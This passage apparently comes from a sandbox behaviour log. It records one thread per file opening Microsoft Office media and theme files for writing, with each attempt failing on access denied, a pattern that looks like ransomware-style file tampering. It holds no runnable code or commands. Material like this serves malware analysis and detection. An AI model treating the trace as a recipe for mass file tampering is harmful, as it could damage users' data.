Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.491] GetLastError () returned 0x5 [0150.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF", dwFileAttributes=0x20) returned 0 [0150.491] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941110) returned 1 Thread: id = 2861 os_tid = 0x1950 [0149.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf")) returned 0x20 [0150.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF", dwFileAttributes=0x20) returned 0 [0150.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.490] GetLastError () returned 0x5 [0150.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF", dwFileAttributes=0x20) returned 0 [0150.490] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9411a8) returned 1 Thread: id = 2862 os_tid = 0x1954 [0149.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf")) returned 0x20 [0150.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF", dwFileAttributes=0x20) returned 0 [0150.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.487] GetLastError () returned 0x5 [0150.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF", dwFileAttributes=0x20) returned 0 [0150.487] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941240) returned 1 Thread: id = 2863 os_tid = 0x1958 [0149.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf")) returned 0x20 [0150.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF", dwFileAttributes=0x20) returned 0 [0150.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.486] GetLastError () returned 0x5 [0150.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF", dwFileAttributes=0x20) returned 0 [0150.486] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9412d8) returned 1 Thread: id = 2864 os_tid = 0x195c [0149.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf")) returned 0x20 [0150.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF", dwFileAttributes=0x20) returned 0 [0150.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.485] GetLastError () returned 0x5 [0150.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF", dwFileAttributes=0x20) returned 0 [0150.485] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941370) returned 1 Thread: id = 2865 os_tid = 0x1960 [0149.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf")) returned 0x20 [0150.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF", dwFileAttributes=0x20) returned 0 [0150.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.483] GetLastError () returned 0x5 [0150.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF", dwFileAttributes=0x20) returned 0 [0150.484] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941408) returned 1 Thread: id = 2866 os_tid = 0x1964 [0149.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf")) returned 0x20 [0150.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF", dwFileAttributes=0x20) returned 0 [0150.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.482] GetLastError () returned 0x5 [0150.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF", dwFileAttributes=0x20) returned 0 [0150.483] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9414a0) returned 1 Thread: id = 2867 os_tid = 0x1968 [0149.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf")) returned 0x20 [0150.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF", dwFileAttributes=0x20) returned 0 [0150.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.481] GetLastError () returned 0x5 [0150.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF", dwFileAttributes=0x20) returned 0 [0150.481] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941538) returned 1 Thread: id = 2868 os_tid = 0x196c [0149.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf")) returned 0x20 [0150.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF", dwFileAttributes=0x20) returned 0 [0150.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.480] GetLastError () returned 0x5 [0150.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF", dwFileAttributes=0x20) returned 0 [0150.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9415d0) returned 1 Thread: id = 2869 os_tid = 0x1970 [0149.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf")) returned 0x20 [0150.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF", dwFileAttributes=0x20) returned 0 [0150.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.479] GetLastError () returned 0x5 [0150.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF", dwFileAttributes=0x20) returned 0 [0150.479] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941668) returned 1 Thread: id = 2870 os_tid = 0x1974 [0149.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf")) returned 0x20 [0150.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF", dwFileAttributes=0x20) returned 0 [0150.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.478] GetLastError () returned 0x5 [0150.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF", dwFileAttributes=0x20) returned 0 [0150.478] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941700) returned 1 Thread: id = 2871 os_tid = 0x1978 [0149.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf")) returned 0x20 [0150.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF", dwFileAttributes=0x20) returned 0 [0150.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.477] GetLastError () returned 0x5 [0150.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF", dwFileAttributes=0x20) returned 0 [0150.477] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941798) returned 1 Thread: id = 2872 os_tid = 0x197c [0149.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf")) returned 0x20 [0150.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF", dwFileAttributes=0x20) returned 0 [0150.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.476] GetLastError () returned 0x5 [0150.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF", dwFileAttributes=0x20) returned 0 [0150.476] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941830) returned 1 Thread: id = 2873 os_tid = 0x1980 [0149.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf")) returned 0x20 [0150.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF", dwFileAttributes=0x20) returned 0 [0150.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.475] GetLastError () returned 0x5 [0150.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF", dwFileAttributes=0x20) returned 0 [0150.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9418c8) returned 1 Thread: id = 2874 os_tid = 0x1984 [0149.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf")) returned 0x20 [0150.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF", dwFileAttributes=0x20) returned 0 [0150.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.474] GetLastError () returned 0x5 [0150.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF", dwFileAttributes=0x20) returned 0 [0150.474] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941960) returned 1 Thread: id = 2875 os_tid = 0x1988 [0149.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf")) returned 0x20 [0150.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF", dwFileAttributes=0x20) returned 0 [0150.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.473] GetLastError () returned 0x5 [0150.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF", dwFileAttributes=0x20) returned 0 [0150.473] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9419f8) returned 1 Thread: id = 2880 os_tid = 0x199c [0149.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml")) returned 0x20 [0149.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml", dwFileAttributes=0x20) returned 0 [0149.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.287] GetLastError () returned 0x5 [0149.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml", dwFileAttributes=0x20) returned 0 [0149.287] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933f40) returned 1 Thread: id = 2881 os_tid = 0x19a0 [0149.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml")) returned 0x20 [0149.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml", dwFileAttributes=0x20) returned 0 [0149.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.288] GetLastError () returned 0x5 [0149.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml", dwFileAttributes=0x20) returned 0 [0149.288] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935fe8) returned 1 Thread: id = 2882 os_tid = 0x19a4 [0149.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml")) returned 0x20 [0149.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml", dwFileAttributes=0x20) returned 0 [0149.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.290] GetLastError () returned 0x5 [0149.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml", dwFileAttributes=0x20) returned 0 [0149.291] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acee8) returned 1 Thread: id = 2883 os_tid = 0x19a8 [0149.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml")) returned 0x20 [0152.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml", dwFileAttributes=0x20) returned 0 [0152.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.139] GetLastError () returned 0x5 [0152.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml", dwFileAttributes=0x20) returned 0 [0152.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97adb8) returned 1 Thread: id = 2884 os_tid = 0x19ac [0149.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml")) returned 0x20 [0152.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml", dwFileAttributes=0x20) returned 0 [0152.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.222] GetLastError () returned 0x5 [0152.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml", dwFileAttributes=0x20) returned 0 [0152.222] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x936288) returned 1 Thread: id = 2885 os_tid = 0x19b0 [0149.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml")) returned 0x20 [0152.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml", dwFileAttributes=0x20) returned 0 [0152.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.249] GetLastError () returned 0x5 [0152.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml", dwFileAttributes=0x20) returned 0 [0152.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x936330) returned 1 Thread: id = 2886 os_tid = 0x19b4 [0149.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml")) returned 0x20 [0152.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml", dwFileAttributes=0x20) returned 0 [0152.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.228] GetLastError () returned 0x5 [0152.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml", dwFileAttributes=0x20) returned 0 [0152.228] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9363d8) returned 1 Thread: id = 2887 os_tid = 0x19b8 [0149.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml")) returned 0x20 [0152.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml", dwFileAttributes=0x20) returned 0 [0152.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.227] GetLastError () returned 0x5 [0152.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml", dwFileAttributes=0x20) returned 0 [0152.227] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ace48) returned 1 Thread: id = 2888 os_tid = 0x19bc [0149.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml")) returned 0x20 [0152.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml", dwFileAttributes=0x20) returned 0 [0152.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.226] GetLastError () returned 0x5 [0152.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml", dwFileAttributes=0x20) returned 0 [0152.226] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x936480) returned 1 Thread: id = 2905 os_tid = 0x1a00 